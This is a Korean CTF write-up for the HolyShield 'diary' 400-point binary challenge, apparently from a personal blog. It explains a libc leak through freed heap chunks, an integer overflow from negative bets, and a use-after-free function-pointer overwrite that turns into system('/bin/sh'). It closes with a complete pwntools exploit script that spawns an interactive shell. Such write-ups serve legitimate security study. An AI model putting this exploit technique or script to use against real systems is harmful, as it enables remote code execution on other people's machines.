y0u_bat

[HolyShield] diary - 400pt 본문

CTF

[HolyShield] diary - 400pt

유뱃 2017. 1. 8. 20:35

HolyShield diary - 400pt


1. 보호기법







2. Libc Leak Vulnerability


Plan 메뉴에서 malloc할당후 free를 통해 libc_main_arena+88 가 fd, bk에 작성된다.

print_plan 함수로 leak 하면 된다.



delete_plan 함수를 보면, select에 100을 입력하고, *(src+6) 이 3이야 free 할수있는것을 볼수있다.

src+6는 프로그램을 처음 실행시킬때 입력한 gender 부분이다.




이렇게 plan_list를 free 시키고 print_plan 함수를 호출시켜 leak 하면 된다.



3. Interger Overflow

game 함수에서 인터져 오버플로우가 일어난다.



if(*betting_money <= *my_money)

현재 내가 가지고 있는 금액보다 작거나 같을때만 검사하고, 베팅금액이 0보다 큰지는 검사를 하지 않기 때문에, 인터져 오버플로우가 발생한다.




4. UAF (Function pointer overwrite)



Plan_list에 malloc(744) 할당해주고, free 해주고

game 메뉴에서 다시 malloc(372)를 해주기 때문에, plan_list 자리에 다시 할당이 된다.



print_plan 함수를 다시보면, (plan_list[248*i+240])(plan_list[248*i]) 함수 포인터를 호출 하는것을 볼 수 있다.

UAF를 통해서 game에서 rank_comment를 작성할때 free된 Plan에 write 할 수 있다.




rank_list+124* a1 + 32 에서 88바이트만큼 작성 할 수 있는데, plan의 함수포인터는 plan_list+240이다.

comment를 2번 작성할때 rank_list+124*1+32 (rank_list+156)에서 88바이트만큼 작성 가능하므로,

딱 plan_list+240 함수포인터를 4byte만큼 덮을 수 있게된다. ("A"*84 + 4byte)

그리고 프로그램 실행 했을때 처음 작성한 이름(src)이 rank_list 처음부분에 작성되는것을 볼 수 있다.

(plan_list[248*i+240])(plan_list[248*i]) 함수포인터를 호출할때 인자를 print_list[248*i]으로

주기 때문에, 처음에 사용자 이름을 /bin/sh으로 해주고, 함수포인터를 libc_system으로 덮어주면 된다.

여기서 문제가 하나 있는데, libc의 주소는 6byte인데 4byte까지만 덮을 수 있어서 문제가 생긴다.



현재 가지고 있는 돈 100원보다 더 많이 벌게 되면, 저부분 루틴을 타게 된다.

인터져 오버플로우로 -0x7F9B(-32667)를 베팅시켜서 0x7F9B(32667)+100 = 0x7fff 만들어주면,

if문 루틴을 타서, q_my_money에는 0x7fff가 들어가게 된다.

*(124LL * a1 + rank_list + 120) = *q_my_money;

comment 작성함수 부분에서, 이코드를 통해 함수포인터 끝부분 2byte를 마져 작성 할수있게 된다.

이렇게 함수포인터를 overwrite 한다음, plan메뉴로 가서

print_plan를 호출하면 system(/bin/sh) 호출 할 수 있게 된다.



5. Exploit Code


 
from pwn import *
s = remote("192.168.207.138",1111)
raw_input()
def intro():
    print s.recvuntil("What your name??      : ")
    s.sendline("/bin/sh\x00")
    print s.recvuntil("How old are you?      : ")
    s.sendline("19")
    print s.recvuntil(">>> ")
    s.sendline("3")
    print s.recvuntil("Please write features : ")
    s.sendline("features!")
    print s.recvuntil(">>> ")
def plan_create(plan_name,intro):
    s.sendline("1")
    print s.recvuntil(">>> ")
    s.sendline("2")
    print s.recvuntil("Plan name : ")
    s.sendline(str(plan_name))
    print s.recvuntil("Hour : ")
    s.sendline("0")
    print s.recvuntil("Min : ")
    s.sendline("0")
    print s.recvuntil("Intro : ")
    s.sendline(str(intro))
    print s.recvuntil(">>> ")
def plan_free(num):
    s.sendline("4")
    print s.recvuntil(">>> \n")
    s.sendline(str(num))
    print s.recvuntil(">>> ")
    s.sendline("4")
    print s.recvuntil(">>> \n")
    s.sendline("100")
    print s.recvuntil(">>> ")
def libc_leak():
    s.sendline("1")
    print s.recvuntil("Plan name : ")
    leak = s.recvuntil("\n")
   # print leak.encode("hex")
    return leak.split("\n")[0]
def game(payload,set_addr_money):
    s.sendline("6")
    s.sendline("3")
    s.sendline("1")
    s.sendline("100")
    s.sendline("1")
    s.sendline("a")
    s.sendline("1")
    s.sendline("-"+str(set_addr_money-100))
    s.sendline("1")
    s.sendline(str(set_addr_money))
    s.sendline("1")
    s.sendline(payload)
    s.sendline("100")
    s.sendline("1")
    s.sendline("com")
    s.sendline("3")
    s.sendline("1")
    s.sendline("1")
intro()
plan_create("first","first_name")
plan_create("second","second_name")
plan_create("third","third_name")
plan_free(2)
leak = u64(libc_leak() + "\x00\x00")
libc_base = leak - 0x3be7b8
libc_system = libc_base + 0x46590
set_addr = int(hex(libc_base)[2:6],16)
payload = "a"*84 + p64(libc_system)
game(payload,set_addr)
log.info("libc_base : " + hex(libc_base))
log.info("libc_system : " + hex(libc_system))
s.interactive()

'CTF' 카테고리의 다른 글

.  (0) 2017.01.10
[Defcon 2014] Babyfirst heap  (0) 2017.01.09
[HITCON] Secret Holder  (0) 2016.11.24
[BCTF] BCloud  (0) 2016.11.18
2016 Whitehat contest Malloc  (5) 2016.11.02
Comments